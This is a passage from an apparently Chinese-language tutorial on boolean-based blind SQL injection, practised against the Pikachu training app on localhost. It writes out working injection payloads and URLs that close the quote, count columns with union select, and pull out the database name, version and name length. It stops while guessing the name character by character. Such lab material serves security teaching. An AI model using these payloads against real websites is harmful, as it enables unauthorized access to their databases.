1.bool盲注的原理
以根据返回页面判断条件真假的注入
判断方式:
通过长度判断 length(): length(database())>=x
通过字符判断 substr():substr(database() ,1,1)= 's'
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
2.bool盲注相关的函数
3.实验-bool盲注
实验环境:phpstudy+apache+mysql+pikachu
3.1判断注入点
否管它是什么注入,先输入数据看看情况。判断有注入点,本身就是一种注入行为,根据返回正常情况和不正常的情况比较有没有注入,盲注也是基于这一点,根据返回的非正常情况来判断注入是否正确。
这一关,查询用户名信息,猜测多办是搜索类型,需要考虑闭合。其次查询的结果可能有多列,这里还是先判断结果有多少列。通常情况是使用order by,我这里使用select。
3.1.1 实验操作之判断注入点
输入adc正常的显示是这样的
看看非正常情况。尝试了几中数据。abc’ abc” abc% 都和正常显示一样,猜测很可能这个执行查询失败的时候是没有回显的,这个时候真么办呢??既然无回显,想办法让它显示不一样的结果呗。同样先猜测它的结果列数。尝试了order by 一系列,结果每什么变化,那就才用另外一种方式了。才用union联合。先测试用union select 1,2,3,4。。。
猜测到 2的时候,数据显示不一样了。
既然这样说明,只有2列,传入的实际参数 abc’ union select 1,2
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,2--+&submit=%E6%9F%A5%E8%AF%A2
3.1.2 分析结果
那么可以总结出,需要闭合’ ,结果分成2列。接下需要猜解数据库的信息.
3.2 猜解数据库
构造sql语句,根据前面的分析,这里需要考虑闭合、采用union联合来猜解。
3.2.1常规的猜解方式
使用函数猜解数据库名和数据库版本
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,database()--+&submit=%E6%9F%A5%E8%AF%A2
参数:abc’ union select 1,database()--+
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,version()--+&submit=%E6%9F%A5%E8%AF%A2
参数:abc’ union select 1,version()--+
得到数据库为pikachu,版本5.5.53 这里database(),可以换成其函数,也可以select database(),version() 常用的函数如下:
3.2.2 盲注的猜解方式
既然是盲注,肯定也需要用盲注的方式尝试。
盲注是通过条件真假来判断。
常用的函数length()、ascii() 、ord()、left()、regexp()
3.2.2.1 猜解数据库长度
这里使用length()计算猜数据库的长度。
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,length(database())%3E=7--+&submit=%E6%9F%A5%E8%AF%A2
参数:abc’ union select ,1,length(database())>=7--+
这个时候返回的是1,代表的是真。说明还没有猜中,还需要继续改条件,直到为假,为0。
http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,length(database())%3E=8--+&submit=%E6%9F%A5%E8%AF%A2
参数:abc’ union select ,1,length(database())>=8--+
这个时候,返回0,代表的是假,从临界测试说明数据库名长度为7。
3.2.2.1.1 猜解长度结果
等于7
3.2.2.2 猜解数据库名
这里采用逐字猜解,使用到字符串重相关的函数。
猜解数据库名的第一个字符。
database()函数获取名字,然后取第一个字母,使用substr(database(),1,1)。
在数据库中尝试情况: